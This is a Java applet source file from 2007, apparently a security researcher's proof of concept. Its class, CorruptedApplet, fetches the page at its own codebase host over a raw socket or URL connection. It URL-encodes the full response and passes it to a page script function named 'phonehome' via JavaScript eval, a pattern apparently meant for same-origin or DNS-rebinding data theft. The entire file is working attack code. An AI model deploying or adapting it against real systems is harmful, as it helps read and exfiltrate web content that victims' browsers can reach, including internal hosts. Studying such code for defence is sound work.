/****************************************************************
 * Copyright (c) 2007, Gregory Fleischer (gfleischer@gmail.com)
 * 
 * All rights reserved.
 * 
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *   
 *   1. Redistributions of source code must retain the above copyright
 *      notice, this list of conditions and the following disclaimer.
 *   2. Redistributions in binary form must reproduce the above copyright
 *      notice, this list of conditions and the following disclaimer in
 *      the documentation and/or other materials provided with the
 *      distribution.
 *   3. The names of the authors may not be used to endorse or promote
 *      products derived from this software without specific prior
 *      written permission.
 *   
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
 * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 ****************************************************************/

import java.applet.*;
import java.awt.*;
import java.net.*;
import java.io.*;
import netscape.javascript.*;

public class CorruptedApplet extends Applet {

    public void init() {
    }

    public void start() {
	try {
	    JSObject win = JSObject.getWindow(this);

	    String codebase = getCodeBase().toString();
	    String host = getCodeBase().getHost();
	    int port = getCodeBase().getPort();
	    if (port <= 0) {
		port = 80;
	    }
	    
	    log("initialized from: " + codebase);
	    Socket socket = null;
	    Boolean use_socket = false;
	    try {
		Object o = win.getMember("use_socket");
		log("use socket: " + o);
		use_socket = (Boolean)o;
	    } catch (Exception x) {
		log("ignoring: " + x.toString());
	    }

	    try { 
		log("sending request [" + host + ":" + port + "]");

		BufferedReader reader;
		if (use_socket) {
		    socket = new Socket(host, port);
		    BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()));
		    reader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
		    writer.write("GET / HTTP/1.0\r\n");
		    writer.write("Host: " + host + "\r\n");
		    writer.write("\r\n");
		    writer.flush();
		} else {
		    URL u = new URL("http://" + host + ":" + port + "/");
		    URLConnection c = u.openConnection();
		    c.setRequestProperty("Host", host);
		    reader = new BufferedReader(new InputStreamReader(c.getInputStream()));
		}

		String line;
		StringBuffer data = new StringBuffer();
		while ( (line = reader.readLine()) != null) {
		    data.append(line);
		    data.append("\r\n");
		}

		String encoded = java.net.URLEncoder.encode(data.toString(), "UTF-8");
		win.eval("phonehome('" +  encoded + "')");

	    } catch (Exception e) {
		log("error: " + e.toString());
	    }

	    if (null != socket) {
		socket.close();
	    }

	} catch (Exception e) {
	    log("error: " + e.toString());
	}
    }

    private void log(String s) {
	add(new Label(s));
    }
    public void paint(Graphics g) {
        g.drawRect(0, 0, 
		   getWidth() - 1,
		   getHeight() - 1);
    }
}